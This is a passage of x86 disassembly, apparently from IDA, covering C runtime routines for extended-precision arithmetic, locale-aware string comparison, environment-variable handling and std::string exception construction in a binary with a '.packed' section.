7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425DBA cmp cx, 7FFFh jnb loc_425DBA cmp dx, 0BFFDh ja loc_425DBA cmp dx, 3FBFh ja short loc_425C23 xor eax, eax jmp short loc_425C5D ; --------------------------------------------------------------------------- loc_425C23: ; CODE XREF: sub_425BBA+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425C45 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425C45 xor eax, eax cmp [esi+4], eax jnz short loc_425C47 cmp [esi], eax jnz short loc_425C47 jmp loc_425DB4 ; --------------------------------------------------------------------------- loc_425C45: ; CODE XREF: sub_425BBA+71j ; sub_425BBA+79j xor eax, eax loc_425C47: ; CODE XREF: sub_425BBA+80j ; sub_425BBA+84j cmp cx, ax jnz short loc_425C6A inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425C6A cmp [ebx+4], eax jnz short loc_425C6A cmp [ebx], eax jnz short loc_425C6A loc_425C5D: ; CODE XREF: sub_425BBA+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_425DD5 ; --------------------------------------------------------------------------- loc_425C6A: ; CODE XREF: sub_425BBA+90j ; sub_425BBA+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425C7A: ; CODE XREF: sub_425BBA+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425CCE add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425C96: ; CODE XREF: sub_425BBA+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425050 add esp, 0Ch test eax, eax jz short loc_425CC1 mov eax, [ebp+var_4] inc word ptr [eax] loc_425CC1: ; CODE XREF: sub_425BBA+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425C96 loc_425CCE: ; CODE XREF: sub_425BBA+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425C7A add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425D11 loc_425CEC: ; CODE XREF: sub_425BBA+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425D0A lea eax, [ebp+var_24] push eax call sub_4250CF add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425CEC loc_425D0A: ; CODE XREF: sub_425BBA+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425D4A loc_425D11: ; CODE XREF: sub_425BBA+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425D4A movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425D2A: ; CODE XREF: sub_425BBA+184j test byte ptr [ebp+var_24], 1 jz short loc_425D33 inc [ebp+var_14] loc_425D33: ; CODE XREF: sub_425BBA+174j lea eax, [ebp+var_24] push eax call sub_4250FD dec ebx pop ecx jnz short loc_425D2A cmp [ebp+var_14], 0 jz short loc_425D4A or byte ptr [ebp+var_24], 1 loc_425D4A: ; CODE XREF: sub_425BBA+155j ; sub_425BBA+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425D61 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425D96 loc_425D61: ; CODE XREF: sub_425BBA+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425D93 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425D8E and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425D88 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D88: ; CODE XREF: sub_425BBA+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D8E: ; CODE XREF: sub_425BBA+1B5j inc [ebp+var_20+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D93: ; CODE XREF: sub_425BBA+1ABj inc [ebp+var_24+2] loc_425D96: ; CODE XREF: sub_425BBA+1A5j ; sub_425BBA+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425DBA mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425DB4: ; CODE XREF: sub_425BBA+86j mov [esi+0Ah], ax jmp short loc_425DD5 ; --------------------------------------------------------------------------- loc_425DBA: ; CODE XREF: sub_425BBA+42j ; sub_425BBA+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_425DD5: ; CODE XREF: sub_425BBA+ABj ; sub_425BBA+1FEj pop edi pop esi pop ebx leave retn sub_425BBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DDA proc near ; CODE XREF: sub_4251F1+440p ; sub_4256C2+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43D488 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_425E53 jge short loc_425E02 mov eax, [ebp+arg_4] mov ebx, offset dword_43D5E8 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_425E02: ; CODE XREF: sub_425DDA+16j cmp [ebp+arg_8], ecx jnz short loc_425E0D mov eax, [ebp+arg_0] mov [eax], cx loc_425E0D: ; CODE XREF: sub_425DDA+2Bj cmp [ebp+arg_4], ecx jz short loc_425E53 push esi push edi loc_425E14: ; CODE XREF: sub_425DDA+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_425E4C lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_425E3F lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_425E3F: ; CODE XREF: sub_425DDA+57j push esi push [ebp+arg_0] call sub_425BBA pop ecx pop ecx xor ecx, ecx loc_425E4C: ; CODE XREF: sub_425DDA+49j cmp [ebp+arg_4], ecx jnz short loc_425E14 pop edi pop esi loc_425E53: ; CODE XREF: sub_425DDA+14j ; sub_425DDA+36j pop ebx leave retn sub_425DDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep ; sub_426332+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_425E63 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_425E63: ; CODE XREF: sub_425E56+7j push dword_4DCD84 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4DCFA4 call sub_425F03 add esp, 1Ch test eax, eax jnz short loc_425E90 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_425E90: ; CODE XREF: sub_425E56+31j add eax, 0FFFFFFFEh pop ebp retn sub_425E56 endp ; =============== S U B R O U T I N E ======================================= sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep ; sub_4261AB+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4DB968 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_425EF6 mov ebx, dword_42717C loc_425EAE: ; CODE XREF: sub_425E95+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx ; WideCharToMultiByte mov ebp, eax cmp ebp, edi jz short loc_425EFE push ebp call sub_41B4D5 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_425EFE push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx ; WideCharToMultiByte test eax, eax jz short loc_425EFE push edi push [esp+18h+var_4] call sub_4261AB mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_425EAE loc_425EF6: ; CODE XREF: sub_425E95+11j xor eax, eax loc_425EF8: ; CODE XREF: sub_425E95+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_425EFE: ; CODE XREF: sub_425E95+29j ; sub_425E95+38j ... or eax, 0FFFFFFFFh jmp short loc_425EF8 sub_425E95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425F03 proc near ; CODE XREF: sub_425E56+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427CF0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4DBC48, ebx push 1 pop edi jnz short loc_425F76 push edi mov eax, offset dword_427940 push eax push edi push eax push ebx push ebx call dword_427008 ; CompareStringW test eax, eax jz short loc_425F53 mov dword_4DBC48, edi jmp short loc_425F76 ; --------------------------------------------------------------------------- loc_425F53: ; CODE XREF: sub_425F03+46j push edi mov eax, offset dword_4CB4EC push eax push edi push eax push ebx push ebx call dword_42700C ; CompareStringA test eax, eax jz loc_42616C mov dword_4DBC48, 2 loc_425F76: ; CODE XREF: sub_425F03+31j ; sub_425F03+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_425F8D push esi push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_425F8D: ; CODE XREF: sub_425F03+78j cmp [ebp+arg_14], ebx jle short loc_425FA2 push [ebp+arg_14] push [ebp+arg_10] call sub_426180 pop ecx pop ecx mov [ebp+arg_14], eax loc_425FA2: ; CODE XREF: sub_425F03+8Dj mov eax, dword_4DBC48 cmp eax, 2 jnz short loc_425FC7 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_42700C ; CompareStringA jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425F03+A7j cmp eax, edi jnz loc_42616C cmp [ebp+arg_18], ebx jnz short loc_425FDC mov eax, dword_4DBA04 mov [ebp+arg_18], eax loc_425FDC: ; CODE XREF: sub_425F03+CFj cmp esi, ebx jz short loc_425FE9 cmp [ebp+arg_14], ebx jnz loc_426081 loc_425FE9: ; CODE XREF: sub_425F03+DBj cmp esi, [ebp+arg_14] jnz short loc_425FF6 loc_425FEE: ; CODE XREF: sub_425F03+13Cj ; sub_425F03+16Dj push 2 loc_425FF0: ; CODE XREF: sub_425F03+146j pop eax jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FF6: ; CODE XREF: sub_425F03+E9j cmp [ebp+arg_14], edi jle short loc_426002 loc_425FFB: ; CODE XREF: sub_425F03+151j ; sub_425F03+159j ... mov eax, edi jmp loc_42616E ; --------------------------------------------------------------------------- loc_426002: ; CODE XREF: sub_425F03+F6j cmp esi, edi jg short loc_426047 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call dword_4271CC ; GetCPInfo test eax, eax jz loc_42616C cmp esi, ebx jle short loc_42604B cmp [ebp+var_3C], 2 jb short loc_426047 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_426047 loc_42602D: ; CODE XREF: sub_425F03+142j mov dl, [eax+1] cmp dl, bl jz short loc_426047 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_426041 cmp cl, dl jbe short loc_425FEE loc_426041: ; CODE XREF: sub_425F03+138j inc eax inc eax cmp [eax], bl jnz short loc_42602D loc_426047: ; CODE XREF: sub_425F03+101j ; sub_425F03+120j ... push 3 jmp short loc_425FF0 ; --------------------------------------------------------------------------- loc_42604B: ; CODE XREF: sub_425F03+11Aj cmp [ebp+arg_14], ebx jle short loc_426081 cmp [ebp+var_3C], 2 jb short loc_425FFB lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425FFB loc_42605E: ; CODE XREF: sub_425F03+177j mov dl, [eax+1] cmp dl, bl jz short loc_425FFB mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_426076 cmp cl, dl jbe loc_425FEE loc_426076: ; CODE XREF: sub_425F03+169j inc eax inc eax cmp [eax], bl jnz short loc_42605E jmp loc_425FFB ; --------------------------------------------------------------------------- loc_426081: ; CODE XREF: sub_425F03+E0j ; sub_425F03+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call dword_427180 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp eax, ebx jz loc_42616C mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4260D0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4260D0: ; CODE XREF: sub_425F03+1B5j cmp [ebp+var_24], ebx jz loc_42616C push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_427180 call esi ; MultiByteToWideChar test eax, eax jz short loc_42616C push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi ; MultiByteToWideChar mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_42616C mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_42613B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_42613B: ; CODE XREF: sub_425F03+224j cmp edi, ebx jz short loc_42616C push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call dword_427180 ; MultiByteToWideChar test eax, eax jz short loc_42616C push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_427008 ; CompareStringW jmp short loc_42616E ; --------------------------------------------------------------------------- loc_42616C: ; CODE XREF: sub_425F03+63j ; sub_425F03+C6j ... xor eax, eax loc_42616E: ; CODE XREF: sub_425F03+BFj ; sub_425F03+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_425F03 endp ; =============== S U B R O U T I N E ======================================= sub_426180 proc near ; CODE XREF: sub_422ACA+81p ; sub_425F03+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42619D loc_426190: ; CODE XREF: sub_426180+1Bj cmp byte ptr [eax], 0 jz short loc_42619D inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_426190 loc_42619D: ; CODE XREF: sub_426180+Ej ; sub_426180+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4261A8 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4261A8: ; CODE XREF: sub_426180+21j mov eax, edx retn sub_426180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4261AB proc near ; CODE XREF: sub_425E95+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_42620F push 3Dh push [ebp+arg_0] call sub_4263F1 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_42620F cmp [ebp+arg_0], esi jz short loc_42620F mov eax, dword_4DB960 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4DB964 jnz short loc_4261F5 push eax call sub_42638A pop ecx mov dword_4DB960, eax loc_4261F5: ; CODE XREF: sub_4261AB+3Cj cmp eax, edi jnz short loc_42624D cmp [ebp+arg_4], edi jz short loc_426217 cmp dword_4DB968, edi jz short loc_426217 call sub_425E95 test eax, eax jz short loc_42624D loc_42620F: ; CODE XREF: sub_4261AB+Dj ; sub_4261AB+22j ... or eax, 0FFFFFFFFh loc_426212: ; CODE XREF: sub_4261AB+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_426217: ; CODE XREF: sub_4261AB+51j ; sub_4261AB+59j cmp ebx, edi jnz loc_42632B push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB960, eax jz short loc_42620F mov [eax], edi cmp dword_4DB968, edi jnz short loc_42624D push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB968, eax jz short loc_42620F mov [eax], edi loc_42624D: ; CODE XREF: sub_4261AB+4Cj ; sub_4261AB+62j ... sub esi, [ebp+arg_0] mov edi, dword_4DB960 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_426332 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_4262AD cmp dword ptr [edi], 0 jz short loc_4262AD test ebx, ebx jz short loc_4262A5 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41B0B1 pop ecx loc_42627F: ; CODE XREF: sub_4261AB+E2j cmp dword ptr [edi], 0 jz short loc_42628F mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_42627F ; --------------------------------------------------------------------------- loc_42628F: ; CODE XREF: sub_4261AB+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41B202 pop ecx test eax, eax pop ecx jz short loc_4262DF jmp short loc_4262DA ; --------------------------------------------------------------------------- loc_4262A5: ; CODE XREF: sub_4261AB+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4262DF ; --------------------------------------------------------------------------- loc_4262AD: ; CODE XREF: sub_4261AB+BDj ; sub_4261AB+C2j test ebx, ebx jnz short loc_42632B test esi, esi jge short loc_4262B7 neg esi loc_4262B7: ; CODE XREF: sub_4261AB+108j lea eax, ds:8[esi*4] push eax push edi call sub_41B202 pop ecx test eax, eax pop ecx jz loc_42620F mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4262DA: ; CODE XREF: sub_4261AB+F8j mov dword_4DB960, eax loc_4262DF: ; CODE XREF: sub_4261AB+F6j ; sub_4261AB+100j cmp [ebp+arg_4], 0 jz short loc_42632B push [ebp+arg_0] call sub_41AFE0 inc eax inc eax push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_42632B push [ebp+arg_0] push esi call sub_41BEB0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call dword_427004 ; SetEnvironmentVariableA push esi call sub_41B0B1 pop ecx loc_42632B: ; CODE XREF: sub_4261AB+6Ej ; sub_4261AB+104j ... xor eax, eax jmp loc_426212 sub_4261AB endp ; =============== S U B R O U T I N E ======================================= sub_426332 proc near ; CODE XREF: sub_4261AB+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4DB960 push edi mov eax, [esi] test eax, eax jz short loc_42636D mov edi, [esp+8+arg_4] loc_426344: ; CODE XREF: sub_426332+39j push edi push eax push [esp+10h+arg_0] call sub_425E56 add esp, 0Ch test eax, eax jnz short loc_426363 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_42637D test al, al jz short loc_42637D loc_426363: ; CODE XREF: sub_426332+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426344 loc_42636D: ; CODE XREF: sub_426332+Cj mov eax, esi sub eax, dword_4DB960 sar eax, 2 neg eax loc_42637A: ; CODE XREF: sub_426332+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42637D: ; CODE XREF: sub_426332+2Bj ; sub_426332+2Fj mov eax, esi sub eax, dword_4DB960 sar eax, 2 jmp short loc_42637A sub_426332 endp ; =============== S U B R O U T I N E ======================================= sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_426399 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_426399: ; CODE XREF: sub_42638A+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_4263AB loc_4263A1: ; CODE XREF: sub_42638A+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_4263A1 loc_4263AB: ; CODE XREF: sub_42638A+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4263CC push 9 call sub_41DA29 pop ecx loc_4263CC: ; CODE XREF: sub_42638A+38j mov eax, [edi] mov ebx, edi loc_4263D0: ; CODE XREF: sub_42638A+5Bj test eax, eax jz short loc_4263E7 push eax add ebx, 4 call sub_426464 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4263D0 ; --------------------------------------------------------------------------- loc_4263E7: ; CODE XREF: sub_42638A+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_42638A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4DCD9C, 0 jnz short loc_42640C push [ebp+arg_4] push [ebp+arg_0] call sub_41BFB0 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_42640C: ; CODE XREF: sub_4263F1+Aj mov ecx, [ebp+arg_0] loc_42640F: ; CODE XREF: sub_4263F1+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_426452 movzx edx, al test byte_4DCEA1[edx], 4 jz short loc_42643E mov dl, [ecx+1] inc ecx test dl, dl jz short loc_426449 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_42644D jmp short loc_426446 ; --------------------------------------------------------------------------- loc_42643E: ; CODE XREF: sub_4263F1+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_426452 loc_426446: ; CODE XREF: sub_4263F1+4Bj inc ecx jmp short loc_42640F ; --------------------------------------------------------------------------- loc_426449: ; CODE XREF: sub_4263F1+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42644D: ; CODE XREF: sub_4263F1+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_426452: ; CODE XREF: sub_4263F1+25j ; sub_4263F1+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4263F1 endp ; =============== S U B R O U T I N E ======================================= sub_426464 proc near ; CODE XREF: sub_417EEE+21p ; sub_42638A+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648B push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 pop ecx test eax, eax pop ecx jz short loc_42648B push esi push eax call sub_41BEB0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648B: ; CODE XREF: sub_426464+7j ; sub_426464+1Aj xor eax, eax pop esi retn sub_426464 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: sub_426573+19p ; sub_42669A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41AFE0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D6EF mov eax, esi pop esi retn 8 sub_426490 endp ; =============== S U B R O U T I N E ======================================= sub_4264BA proc near ; CODE XREF: .packed:004264E5p ; sub_426568+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_40D6B3 mov ecx, esi pop esi jmp sub_4268B6 sub_4264BA endp ; =============== S U B R O U T I N E ======================================= sub_4264D5 proc near ; DATA XREF: .packed:00427D10o ; .packed:00427D20o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4264E1 mov eax, offset dword_4276A8 locret_4264E1: ; CODE XREF: sub_4264D5+5j retn sub_4264D5 endp ; --------------------------------------------------------------------------- loc_4264E2: ; DATA XREF: .packed:off_427D0Co push esi mov esi, ecx call sub_4264BA test byte ptr [esp+8], 1 jz short loc_4264F8 push esi call sub_41CC83 pop ecx loc_4264F8: ; CODE XREF: .packed:004264EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264FE proc near ; CODE XREF: sub_426573+29p mov eax, offset loc_426E32 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264FE endp ; =============== S U B R O U T I N E ======================================= sub_42654C proc near ; DATA XREF: .packed:off_427D1Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426568 test [esp+4+arg_0], 1 jz short loc_426562 push esi call sub_41CC83 pop ecx loc_426562: ; CODE XREF: sub_42654C+Dj mov eax, esi pop esi retn 4 sub_42654C endp ; =============== S U B R O U T I N E ======================================= sub_426568 proc near ; CODE XREF: sub_42654C+3p ; DATA XREF: .packed:00428094o mov dword ptr [ecx], offset off_427D1C jmp sub_4264BA sub_426568 endp ; =============== S U B R O U T I N E ======================================= sub_426573 proc near ; CODE XREF: sub_40D560+13p ; sub_40D724+Ep mov eax, offset loc_426E44 call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4264FE push offset dword_428090 lea eax, [ebp-3Ch] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_426573 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p ; sub_4265D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D560 mov eax, esi pop esi retn 4 sub_4265B0 endp ; =============== S U B R O U T I N E ======================================= sub_4265D0 proc near ; CODE XREF: sub_42669A+29p mov eax, offset loc_426E56 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4265D0 endp ; =============== S U B R O U T I N E ======================================= sub_426618 proc near ; CODE XREF: sub_426682+7p ; sub_4266DE+7p ... mov eax, offset loc_426E68 call sub_41CC64 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42686C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426618 endp ; =============== S U B R O U T I N E ======================================= sub_42665B proc near ; DATA XREF: .packed:off_427D48o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426677 test [esp+4+arg_0], 1 jz short loc_426671 push esi call sub_41CC83 pop ecx loc_426671: ; CODE XREF: sub_42665B+Dj mov eax, esi pop esi retn 4 sub_42665B endp ; =============== S U B R O U T I N E ======================================= sub_426677 proc near ; CODE XREF: sub_42665B+3p ; DATA XREF: .packed:0042813Co mov dword ptr [ecx], offset off_427D48 jmp sub_4264BA sub_426677 endp ; =============== S U B R O U T I N E ======================================= sub_426682 proc near ; CODE XREF: sub_4266F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call 